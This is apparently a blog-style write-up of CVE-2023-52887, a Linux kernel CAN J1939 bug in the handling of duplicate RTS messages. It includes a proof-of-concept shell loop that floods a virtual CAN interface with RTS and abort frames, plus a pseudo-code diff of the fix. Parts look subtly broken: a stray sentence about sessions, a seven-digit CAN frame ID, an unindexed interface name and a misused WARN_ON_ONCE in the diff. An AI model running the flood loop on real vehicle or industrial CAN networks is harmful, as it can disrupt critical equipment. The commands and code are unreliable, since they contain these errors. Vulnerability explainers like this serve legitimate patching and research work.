A recent vulnerability, tracked as CVE-2023-52887, was discovered and patched in the Linux kernel’s Controller Area Network (CAN) J1939 protocol stack. Specifically, it affected the handling of RTS (Request to Send) messages within the XTP protocol. If you’re a developer, sysadmin, or security enthusiast running systems that rely on CAN devices (like those in heavy vehicles, machinery, or automotive contexts), this is a bug you should understand. Here, we’ll break down what happened, show you how the issue could be triggered, and what the Linux kernel team did to fix it.

What is CAN J1939 and XTP?

- CAN J1939 is a higher-layer protocol used mainly in commercial vehicles, agricultural machinery, etc., to allow ECUs to communicate.

XTP (Transport Protocol) defines how large messages are split up and sent over CAN.

- The *RTS* (Request to Send) message is the first step in sending data. A sender asks permission to send a larger packet.

What Was the Problem?

Previously, the Linux J1939 XTP implementation did not handle multiple quickly-received RTS messages very well. If a session was already ongoing, a second, nearly simultaneous RTS could cause ambiguous state and result in more severe issues. The only feedback offered was via a WARN_ON_ONCE macro, which prints a kernel warning and stack trace. This doesn’t aid much in handling the error gracefully; it may also result in resource leaks or weird sessions.

Example Failure Scenario

Imagine your CAN bus is noisy or misconfigured, and the same RTS message comes in twice before your program handles the first one. The kernel previously just screamed in the logs and limped along.

Sessions are not kept lingering until the end of j1939_xtp_rx_rts().

This means your kernel deals with malformed or abusive RTS traffic much more gracefully (and safely!).

See the Linux commit reference here (kernel.org)

Exploiting the Bug: Proof of Concept

Below, you’ll find an example code and commands that could be used to reproduce or exploit this bug before the patch was applied.

WARNING: This is for educational/research purposes only! Don’t run this on production or systems you do not own.

First, bring up a virtual CAN interface

sudo modprobe vcan
sudo ip link add dev vcan type vcan
sudo ip link set up vcan

Run a J1939 responder in the background

testj1939 -r vcan:x80 &

Flood with RTS, then abort

while true; do
    # Send first RTS
    cansend vcan 18EC809#1014000303002301
    # Send second RTS (no delay)
    cansend vcan 18EC809#1014000303002301
    # Send abort to try to clean up
    cansend vcan 18EC809#ff00000000002301
done

*You may see warnings or stack traces in dmesg if your kernel is vulnerable.*

What This Demonstrates

With a rapid-fire sequence of RTS messages—before the kernel’s state machine finishes handling the first—the old code would just complain with a WARN_ON_ONCE. If you automate this, you could:

Flood logs and potentially cause DoS via kernel log spam.

- Confuse session handling, leading to memory/resource issues.

After the patch, the kernel logs something like

j1939: received spurious RTS, releasing session

Here’s a simplified code difference

-    if (session exists) {
-        WARN_ON_ONCE("Session already exists!"); // Previous behavior
-        return -EINVAL;
-    }
+    if (session exists) {
+        netdev_err(dev, "spurious RTS received, releasing session"); // Clear error message
+        j1939_session_release(session); // Early cleanup!
+        return -EINVAL;
+    }

So, instead of a cryptic stack trace, you get a clear error in logs, and the problem-causing session is promptly cleared.

Recommendations

- Upgrade your kernel! The fix is in Linux kernel 6.7+ and has been backported to many maintained stable trees. Changelog reference
- If you must use older kernels, consider limiting CAN interface exposure, segmenting networks, or monitoring for abnormal traffic.

References

- Linux Git Commit Fixing CVE-2023-52887
- Linux CAN J1939 Documentation
- can-utils (GitHub)
- CVE entry at NVD

Conclusion

CVE-2023-52887, despite being a low-level protocol quirk, highlights how subtle race conditions or state mishandling in kernel network stacks can have real-world impacts. The Linux community’s fix prevents both log spam and stubborn resource leaks—the kind of fix that keeps critical infrastructure stable.

If your systems rely on CAN (especially in industrial or automotive contexts), patch now!


*For more Linux vulnerability deep dives, follow and stay secure!*

Timeline

Published on: 07/29/2024 16:15:03 UTC
Last modified on: 05/04/2025 07:45:21 UTC